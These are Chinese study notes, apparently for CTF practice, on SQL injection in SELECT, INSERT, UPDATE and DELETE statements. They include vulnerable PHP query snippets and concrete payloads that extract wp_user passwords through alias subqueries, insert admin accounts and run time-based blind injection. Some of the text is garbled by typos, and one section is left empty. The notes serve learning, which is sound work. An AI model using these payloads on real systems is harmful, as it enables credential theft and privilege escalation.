1.select注入
1.注入点在select_expr
$sql = "select ${_GET=['id']},content from wp_news"
此时可以采取时间盲注对数据进行获取,不过根据Mysql的语法,我们有更优的方法 ,利用别名即
可以把1换成(select password from user)
时间注入的方法:,因为注入点在前面位置,自由度很高,甚至可以查询其他表格,不过还是要更据后面显示文本的逻辑(输出字段值并不相同,所有还是采用时间盲注)
2.注入点在table_reference
上面的sql查询更改如下:
$sql = "select title from ${_GET['table']}"
我们任然可以用别名的方式直接取出数据,如
select title from (select pwd as title from wp_user)x
(SELECT pwd AS title FROM wp_user)
是一个子查询,它从wp_user
表中选择pwd
列,并将pwd
列的名称重命名为title
。子查询创建了一个临时的结果集,其列名为title
。- 外部的查询
SELECT title FROM ...
然后从这个临时结果集中选择title
列。 x
是对子查询结果集的别名。在 SQL 中,子查询在它们被用作另一个查询的来源时必须被命名(即使这个名字在后续的查询中没有被直接引用)。
在不知道表明的情况下,可以先从infomation_schema.tables中查询表明,如果有引号要先将引号闭合
3.注入点在where或having后
sql查询语句如下:
$sql="select title from wp_news where id = ${_GET[id]}"
这种情况是最常见的查询语句,按照不同类型闭合即可
4.注入点在group by或order by 后
pass
5.注入点在limit后
limt后的注入比较简单,通过改变数字的大小,页面会显示更多或者更少的数据,由于语法的限制前面的字符注入的方法不可行了
2.INSERT注入
1.注入点位于tbl_name
如果通过注释符注释后面的句子,则可直接插入特定数据到想要的表内,如管理员表
$sql = "(INSERT INTO {$_GET[''table]} values(2,2,2,2)");
开发者预想的是,控制table的值,从而插入新闻数据。由于可以控制表名可以直接构造SQL
table = wp_user values(2,'newname','newpass')#
2.注入点位于values
假设语句如下:
INSERT INTO wp_user VALUES(1,1,'可控位置');
此时可先闭合单引号,然后另行插入一条记录,通常管理员和普通用户在同一个表,此时便可以通过表字段来控制管理员权限。注入语句如下: INSERT INTO wP_user VALUES(1,θ,'1'),(2,1,'aaaa’);
如果用户表的第2个字段代表的是管理员权限标识,便能插入一个管理员用户。在某些情况下,我们也可以将数据插入能回显的字段,来快速获取数据。假设最后一个字段的数据会被显示到页面上,那么采用如下语句注入,即可将第一个用户的密码显示出来: INSERT INTO w._user VALUES(1, 1,'1'),(2,2,(SELECT pwd FROM wp_user LIMIT 1));
一开始没有数据:
执行后
插入了两条数据
3.UPDATE注入
UPDATE注入语句适用于数据库记录的更新,如用户修改自己的文章、介绍信息、更新信息
update wp_user set id=3 where user = '23'
当id数据可控时
可以修改多个字段的数据如
update wp_user set id=3,user='xxxx' where 'user=23'
其余位置的注入点与select注入类似
4.DELETE注入
DELETE注入大多在WHERE
$sql = DELETE FROM wp_news WHERE id = {$_GET['id']}
对id参数进行注入时,稍有不慎就会导致where后的值为Ture,导致整个表被删除
通常使用‘and sleep(1)让where后的结果返回为false,后续和时间注入一样